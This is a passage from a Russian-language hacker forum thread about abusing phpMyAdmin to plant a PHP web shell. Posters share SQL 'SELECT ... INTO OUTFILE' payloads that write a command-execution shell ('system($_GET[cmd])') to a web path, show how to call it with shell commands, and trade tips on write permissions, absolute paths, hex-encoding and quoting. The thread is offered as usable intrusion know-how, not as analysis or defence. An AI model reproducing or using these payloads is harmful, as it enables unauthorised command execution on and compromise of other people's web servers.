phpMyAdmin

Discussion in 'Уязвимости' started by heks, 26 Dec 2007.

  1. Ershik

    Ershik Elder - Старейшина

    Joined:
    7 Nov 2007
    Messages:
    301
    Likes Received:
    46
    Reputations:
    6
    Обратил. Дальше что? Должен появиться веб шелл по адресе http://sait.ru/phpBB/index.php ? Пробовал. Его там нет.
     
  2. AFoST

    AFoST Elder - Старейшина

    Joined:
    28 May 2007
    Messages:
    588
    Likes Received:
    485
    Reputations:
    176
    Во-первых должны быть права на запись. Во-вторых узнай полный путь до этой директории.
    //локалхост
    Code:
    select "<?system($_GET[cmd])?>" into outfile '/home/localhost/www/shell.php';
    
    Потом обращяешься к шеллу так http://localhost/shell.php?cmd=ls -la
     
    #22 AFoST, 26 Dec 2007
    Last edited: 27 Dec 2007
  3. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    не надо там в кавычки ничего обрамлять
    переведи этот пшп код в хекс например, ты вообще увеерн что у тебя права есть на запись файлов?
     
    1 person likes this.
  4. Elekt

    Elekt Banned

    Joined:
    5 Dec 2005
    Messages:
    944
    Likes Received:
    427
    Reputations:
    508
    по синтаксису sql необходимым условием является:
    ~ указание существующей таблицы
    ~ абсолютный путь к файлу
    ~ обрамление ковычками абсолютного пути к файлу, что как следствие требует magic_quotes=OFF либо stripslashes запроса

    .. и тот кто реально хоть раз грузил так шелл, должен был это знать...

    PHP:
    select '<?system($_GET[cmd])?>' from table_name_blaaaahh  into outfile '/путь/к/шеллу.php'
     
  5. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    Elekt, забыл код обрамить в кавычки
    Я имел ввиду что надо делать так $_GET[cmd], а не так $_GET['cmd']
    А вот про указание существующей таблицы - глупость
    Я у себя на локалке с успехом выполнял запрос select 1 into outfile '/tmp/123.txt'
     
    #25 Spyder, 26 Dec 2007
    Last edited: 26 Dec 2007